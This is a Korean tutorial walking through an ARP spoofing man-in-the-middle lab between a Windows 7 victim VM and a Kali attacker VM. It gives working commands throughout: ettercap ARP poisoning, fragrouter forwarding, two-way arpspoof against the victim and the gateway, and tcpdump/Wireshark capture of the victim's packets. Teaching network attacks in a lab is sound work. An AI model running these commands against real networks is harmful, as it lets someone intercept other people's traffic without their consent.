MITM( Man In The Middle ) 기법의 하나로 로컬 네트워크(LAN)에서 사용하는 ARP 프로토콜의 허점을 이용하여 자신의 MAC(Media Access Control) 주소를 다른 컴퓨터의 MAC인 것처럼 속이는 공격이다. ARP Cache Posisoning 공격을 통해 피해자에게 잘못된 MAC 주소가 담긴 ARP Reply를 보내 ARP Cache 테이블을 조작함으로써 정보를 빼낸다.
네트워크상에서 논리적 주소인 IP 주소(L3, 네트워크 계층)를 물리적 주소인 MAC 주소(L2, 데이터링크 계층)로 시키기 위해 사용되는 프로토콜이다.
ARP 동작 과정에서 치명적인 단점이 있는데, ARP Reply 패킷에 담긴 MAC 주소를 검증하지 않는다.
ARP와는 반대로 MAC 주소를 가지고 IP 주소를 알아내는 프로토콜이긴 한데, ARP의 반대 동작을 하는 것은 아니다. ( 요즘은 잘 사용되지 않는다. )
윈도우 7 (피해자, VM)
칼리 리눅스 (공격자, VM)
전체 동일 네트워크상에 존재해야 한다.
kali에서 실습에 필요한 dsniff, fragrouter 패키지를 설치해 준다.
sudo apt update
sudo apt install -y diniff
sudo apt install -y fragrouter
fragrouter는 Kali linux에 기본적으로 설치되어 있음.
1. 피해자와 공격자의 네트워크 주소를 확인합니다.
Kali : ifconfig
win7 : arp -a
공격자
IP 주소 : 192.168.100.106
MAC 주소 : 00-0c-29-73-b3-64
피해자
IP 주소 : 192.168.100.102
MAC 주소 : 00-0c-29-ff-2c-62
게이트웨이
IP 주소 : 192.168.100.2
MAC 주소 : 00-50-56-f8-c7-f1
2. MAC 주소 위조
1) ettercap을 이용한 변조
2) arpspoof를 이용한 변조
(1) ettercap 을 그래픽으로 실행한다.
-G : 그래픽
ettercap -G
(2) 호스트를 스캔하고 호스트 목록을 본다.
(3) 피해자는 Target 1, 게이트웨이는 Target 2로 지정한다.
(4) MITM( Man In The Middle ) 메뉴에서 ARP poisoning을 진행한다.
피해자(win 7)의 게이트웨이와 공격자의 MAC 주소가 일치한 것을 볼 수 있다.
(1) 패킷 포워딩
arpspoof만을 이용할 경우 피해자가 보내는 데이터들이 공격자에게 넘어오지만, 공격자가 게이트웨이로 데이터를 전송하지 않아 피해자가 서비스를 제공 받지 못한다.
이 경우 피해자가 이상함을 느낄 가능성이 있다.
-B1 : 송수신 데이터의 변조 없이 그대로 데이터를 포워딩
fragrouter -B1
(2) 공격자와 게이트웨이의 MAC 주소를 동일하게 만든다.
데이터를 전송할 때 Broadcast(브로드캐스트)를 통해서 목적지를 검색 후 게이트웨이를 통해 DNS 서버에서 목적지를 찾기 때문에 내부 네트워크에 속한 피해자에게 데이터가 전송된다.
다음 명령어는 피해자(192.168.100.102)에게 게이트웨이(192.168.100.2)는 자신이라고 속인다.
arpspoof -i eth0 -t 192.168.100.102 192.168.100.2
다음 명령어는 게이트웨이(192.168.100.2)에게 피해자(192.168.100.102)는 자신이라고 속인다.
arpspoof -i eth0 -t 192.168.100.2 192.168.100.102
(터미널 3개)
1. fragrouter
2. arpspoof (피해자IP) (게이트웨이)
3. arpspoof (게이트웨이) (피해자IP)
피해자(win 7)의 게이트웨이와 공격자의 MAC 주소가 일치한 것을 볼 수 있다.
tcpdump를 이용하여 패킷 확인
tcpdump src 192.168.100.102
출발지가 피해자인 패킷만 필터링하여 확인
wireshark(와이어샤크)를 이용하여 패킷 확인
wireshark
검색창에 피해자 IP를 입력하여 피해자 패킷만 필터링하여 확인
ARP Spoofing으로 피해자가 주고받는 모든 패킷을 확인 가능
VLAN 계념과 설정 : https://velog.io/@kio0207/Network-VLAN-%EA%B0%9C%EB%85%90